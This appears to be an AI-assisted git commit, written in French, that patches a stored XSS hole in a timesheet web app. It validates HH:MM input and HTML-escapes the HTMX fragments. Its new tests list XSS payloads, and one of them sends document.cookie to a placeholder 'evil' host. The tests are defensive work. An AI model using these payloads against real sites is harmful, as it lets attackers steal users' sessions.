Bloque le XSS stocké via /pointage et échappe les fragments HTMX
POST /pointage acceptait n'importe quelle valeur pour les 4 champs
matin_entree/matin_sortie/aprem_entree/aprem_sortie : la fonction clean ne
faisait qu'un strip(). Comme ces valeurs sont réinjectées telles quelles
dans des f-strings HTML hors templates Jinja (qui seuls bénéficient de
l'autoescape), un payload type `"><svg/onload=...>` déclenchait une
exécution JS immédiate dans la réponse HTMX, sans CSP pour limiter l'impact.
Double défense appliquée :
1. Validation stricte en entrée : clean() refuse désormais tout ce qui ne
matche pas _HHMM_RE (^([01]\d|2[0-3]):[0-5]\d$). Une valeur non conforme
est traitée comme vide plutôt que stockée.
2. Échappement HTML systématique en sortie : un alias `_e = html.escape`
est appliqué à toutes les valeurs dynamiques (date, heures, cibles)
dans _oob_calc, _oob_week_extras, _oob_time_cells et
_htmx_conge_and_soldes. Les ids, data-date, value, hx-post et contenus
textuels sont protégés.
Les nouveaux tests test_security couvrent plusieurs payloads XSS, vérifient
que la valeur n'est ni persistée ni reflétée, et qu'un pointage HHMM
valide continue à fonctionner.
💘 Generated with Crush
Assisted-by: Crush:glm-5.2
This commit is contained in:
46
app/main.py
46
app/main.py
@ -1,6 +1,7 @@
|
||||
import asyncio
|
||||
import hashlib
|
||||
import hmac
|
||||
import html
|
||||
import json
|
||||
import logging
|
||||
import re
|
||||
@ -63,6 +64,10 @@ _USERNAME_RE = re.compile(r"^[a-zA-Z0-9_.\-]{1,64}$")
|
||||
_EMAIL_RE = re.compile(r"^([a-zA-Z0-9_.\-]{1,64})@([a-zA-Z0-9.\-]{1,255})$")
|
||||
_HHMM_RE = re.compile(r"^([01]\d|2[0-3]):[0-5]\d$")
|
||||
|
||||
# Échappement HTML pour les fragments construits en f-string hors templates Jinja
|
||||
# (autoescape ne s'applique qu'aux templates). Defense-in-depth contre le XSS stocké.
|
||||
_e = html.escape
|
||||
|
||||
|
||||
# ── Auth helpers ──────────────────────────────────────────────────────────────
|
||||
|
||||
@ -173,16 +178,16 @@ def _build_jour_ctx(date, conges, h_jour, user_id):
|
||||
|
||||
|
||||
def _oob_calc(date, jour):
|
||||
trav_inner = f'<span class="calc-num">{"—" if not jour["travaille_min"] else jour["travaille"]}</span>'
|
||||
trav_inner = f'<span class="calc-num">{"—" if not jour["travaille_min"] else _e(jour["travaille"])}</span>'
|
||||
if jour["travaille_min"]:
|
||||
cls = "delta-pos" if jour["delta_min"] > 0 else ("delta-neg" if jour["delta_min"] < 0 else "delta-zero")
|
||||
sign = "+" if jour["delta_min"] > 0 else ""
|
||||
delta_inner = f'<span class="{cls}">{sign}{jour["delta"]}</span>'
|
||||
delta_inner = f'<span class="{cls}">{sign}{_e(jour["delta"])}</span>'
|
||||
else:
|
||||
delta_inner = '<span class="delta-zero">—</span>'
|
||||
return (
|
||||
f'<span id="calc-{date}-trav" hx-swap-oob="true">{trav_inner}</span>'
|
||||
f'<span id="calc-{date}-delta" hx-swap-oob="true">{delta_inner}</span>'
|
||||
f'<span id="calc-{_e(date)}-trav" hx-swap-oob="true">{trav_inner}</span>'
|
||||
f'<span id="calc-{_e(date)}-delta" hx-swap-oob="true">{delta_inner}</span>'
|
||||
)
|
||||
|
||||
|
||||
@ -200,14 +205,14 @@ def _oob_week_extras(result):
|
||||
cumul_inner = f'<span class="{cls}">{sign}{jour["delta_cumul"]}</span>'
|
||||
else:
|
||||
cumul_inner = '<span class="delta-zero">—</span>'
|
||||
html += f'<span id="calc-{date}-cumul" hx-swap-oob="true">{cumul_inner}</span>'
|
||||
html += f'<span id="calc-{_e(date)}-cumul" hx-swap-oob="true">{cumul_inner}</span>'
|
||||
parts = []
|
||||
if jour.get("cible_matin"):
|
||||
parts.append(f'<span class="cible-num">M {jour["cible_matin_entree"]} → {jour["cible_matin"]}</span>')
|
||||
parts.append(f'<span class="cible-num">M {_e(jour["cible_matin_entree"])} → {_e(jour["cible_matin"])}</span>')
|
||||
if jour.get("cible_aprem"):
|
||||
parts.append(f'<span class="cible-num">A {jour["cible_aprem_entree"]} → {jour["cible_aprem"]}</span>')
|
||||
parts.append(f'<span class="cible-num">A {_e(jour["cible_aprem_entree"])} → {_e(jour["cible_aprem"])}</span>')
|
||||
cible_inner = " ".join(parts) if parts else '<span class="delta-zero">—</span>'
|
||||
html += f'<span id="calc-{date}-cible" hx-swap-oob="true">{cible_inner}</span>'
|
||||
html += f'<span id="calc-{_e(date)}-cible" hx-swap-oob="true">{cible_inner}</span>'
|
||||
return html
|
||||
|
||||
|
||||
@ -226,19 +231,19 @@ def _oob_time_cells(date, jour, plages):
|
||||
matin_cls = "td-fill cg" if matin_cg else ("td-fill warn" if matin_warn else "td-fill")
|
||||
aprem_cls = "td-fill cg" if aprem_cg else ("td-fill warn" if aprem_warn else "td-fill")
|
||||
matin_html = (
|
||||
f'<div id="cg-matin-{date}" hx-swap-oob="true" class="{matin_cls}">'
|
||||
f'<div id="cg-matin-{_e(date)}" hx-swap-oob="true" class="{matin_cls}">'
|
||||
f'<div class="time-pair">'
|
||||
f'<input class="time-input" type="time" name="matin_entree" data-date="{date}" value="{jour["matin_entree"] or ""}">'
|
||||
f'<input class="time-input" type="time" name="matin_entree" data-date="{_e(date)}" value="{_e(jour["matin_entree"] or "")}">'
|
||||
f'<span class="time-sep">→</span>'
|
||||
f'<input class="time-input" type="time" name="matin_sortie" data-date="{date}" value="{jour["matin_sortie"] or ""}">'
|
||||
f'<input class="time-input" type="time" name="matin_sortie" data-date="{_e(date)}" value="{_e(jour["matin_sortie"] or "")}">'
|
||||
f'</div></div>'
|
||||
)
|
||||
aprem_html = (
|
||||
f'<div id="cg-aprem-{date}" hx-swap-oob="true" class="{aprem_cls}">'
|
||||
f'<div id="cg-aprem-{_e(date)}" hx-swap-oob="true" class="{aprem_cls}">'
|
||||
f'<div class="time-pair">'
|
||||
f'<input class="time-input" type="time" name="aprem_entree" data-date="{date}" value="{jour["aprem_entree"] or ""}">'
|
||||
f'<input class="time-input" type="time" name="aprem_entree" data-date="{_e(date)}" value="{_e(jour["aprem_entree"] or "")}">'
|
||||
f'<span class="time-sep">→</span>'
|
||||
f'<input class="time-input" type="time" name="aprem_sortie" data-date="{date}" value="{jour["aprem_sortie"] or ""}">'
|
||||
f'<input class="time-input" type="time" name="aprem_sortie" data-date="{_e(date)}" value="{_e(jour["aprem_sortie"] or "")}">'
|
||||
f'</div></div>'
|
||||
)
|
||||
return matin_html + aprem_html
|
||||
@ -253,11 +258,11 @@ def _htmx_conge_and_soldes(request, date, d, conges, h_jour, user_id):
|
||||
btn_am_on = " on" if "aprem" in cg else ""
|
||||
btn_j_on = " jour-on" if "jour" in cg else ""
|
||||
btns_html = (
|
||||
f'<div id="cg-btn-{date}" hx-swap-oob="true">'
|
||||
f'<div id="cg-btn-{_e(date)}" hx-swap-oob="true">'
|
||||
f'<div class="conge-btns">'
|
||||
f'<button hx-post="/conge/{date}/matin" hx-swap="none" class="btn-cg{btn_ma_on}" title="Congé matin">MA</button>'
|
||||
f'<button hx-post="/conge/{date}/aprem" hx-swap="none" class="btn-cg{btn_am_on}" title="Congé après-midi">AM</button>'
|
||||
f'<button hx-post="/conge/{date}/jour" hx-swap="none" class="btn-cg btn-jour{btn_j_on}" title="Journée entière">J</button>'
|
||||
f'<button hx-post="/conge/{_e(date)}/matin" hx-swap="none" class="btn-cg{btn_ma_on}" title="Congé matin">MA</button>'
|
||||
f'<button hx-post="/conge/{_e(date)}/aprem" hx-swap="none" class="btn-cg{btn_am_on}" title="Congé après-midi">AM</button>'
|
||||
f'<button hx-post="/conge/{_e(date)}/jour" hx-swap="none" class="btn-cg btn-jour{btn_j_on}" title="Journée entière">J</button>'
|
||||
f'</div></div>'
|
||||
)
|
||||
soldes_ctx = _build_soldes_ctx(iso.year, iso.week, conges, h_jour, user_id)
|
||||
@ -482,7 +487,10 @@ def save_pointage(
|
||||
return RedirectResponse("/login", status_code=302)
|
||||
|
||||
def clean(v):
|
||||
v = v.strip(); return v if v else None
|
||||
# Refuse tout ce qui n'est pas un HHMM strict : empêche le XSS stocké car la
|
||||
# valeur est réinjectée telle quelle dans des f-strings HTML hors templates.
|
||||
v = v.strip()
|
||||
return v if v and _HHMM_RE.match(v) else None
|
||||
|
||||
d = datetime.strptime(date, "%Y-%m-%d").date()
|
||||
iso = d.isocalendar()
|
||||
|
||||
@ -162,3 +162,68 @@ def test_settings_save_rejects_ssrf_ntfy_server():
|
||||
# La valeur précédente est conservée
|
||||
cfg = models.load_notif_config("carol")
|
||||
assert cfg["ntfy_server"] == "https://ntfy.sh"
|
||||
|
||||
|
||||
# ── XSS stocké via /pointage ──────────────────────────────────────────────────
|
||||
|
||||
XSS_PAYLOADS = [
|
||||
'"><svg/onload=alert(1)>',
|
||||
'"><script>alert(document.cookie)</script>',
|
||||
"'/><script>fetch('//evil/'+document.cookie)</script>",
|
||||
]
|
||||
|
||||
|
||||
def test_pointage_rejects_non_hhmm_value():
|
||||
"""POST /pointage avec une valeur non HHMM ne doit pas être persistée."""
|
||||
cookies = _login("dave")
|
||||
for payload in XSS_PAYLOADS:
|
||||
r = client.post("/pointage/2026-07-17", cookies=cookies, data={
|
||||
"matin_entree": payload,
|
||||
"matin_sortie": "",
|
||||
"aprem_entree": "",
|
||||
"aprem_sortie": "",
|
||||
})
|
||||
# La réponse ne doit pas planter
|
||||
assert r.status_code == 200
|
||||
# Le payload ne doit pas se retrouver tel quel dans la réponse
|
||||
assert payload not in r.text, payload
|
||||
# Vérification de la persistance
|
||||
week = models.load_week_pointages(2026, 29, "dave")
|
||||
entry = next((p for p in week if p["date"] == "2026-07-17"), None)
|
||||
assert entry is not None
|
||||
# matin_entree doit avoir été ignoré (None), pas stocké tel quel
|
||||
assert entry["matin_entree"] is None
|
||||
|
||||
|
||||
def test_pointage_valid_hhmm_still_works():
|
||||
"""Un pointage HHMM valide doit continuer à fonctionner."""
|
||||
cookies = _login("erin")
|
||||
r = client.post("/pointage/2026-07-17", cookies=cookies, data={
|
||||
"matin_entree": "08:45",
|
||||
"matin_sortie": "12:00",
|
||||
"aprem_entree": "",
|
||||
"aprem_sortie": "",
|
||||
})
|
||||
assert r.status_code == 200
|
||||
assert "08:45" in r.text
|
||||
week = models.load_week_pointages(2026, 29, "erin")
|
||||
entry = next((p for p in week if p["date"] == "2026-07-17"), None)
|
||||
assert entry["matin_entree"] == "08:45"
|
||||
|
||||
|
||||
def test_oob_html_escapes_date_attribute():
|
||||
"""Si la date (issue de l'URL) contient des caractères HTML, ils doivent être échappés."""
|
||||
cookies = _login("frank")
|
||||
# Forçage d'un pointage valide pour déclencher le rendu _oob_time_cells
|
||||
client.post("/pointage/2026-07-17", cookies=cookies, data={
|
||||
"matin_entree": "08:45", "matin_sortie": "", "aprem_entree": "", "aprem_sortie": "",
|
||||
})
|
||||
# Une date malicieuse dans /refresh/... doit être échappée si elle passe strptime
|
||||
# (les caractères HTML ne passent pas strptime, mais on vérifie que l'escape est actif
|
||||
# sur le rendu d'un pointage normal pour la date légitime)
|
||||
r = client.post("/pointage/2026-07-17", cookies=cookies, data={
|
||||
"matin_entree": "08:45", "matin_sortie": "12:00",
|
||||
"aprem_entree": "14:00", "aprem_sortie": "17:30",
|
||||
})
|
||||
assert "<script" not in r.text.lower()
|
||||
assert "onload" not in r.text.lower()
|
||||
|
||||
Reference in New Issue
Block a user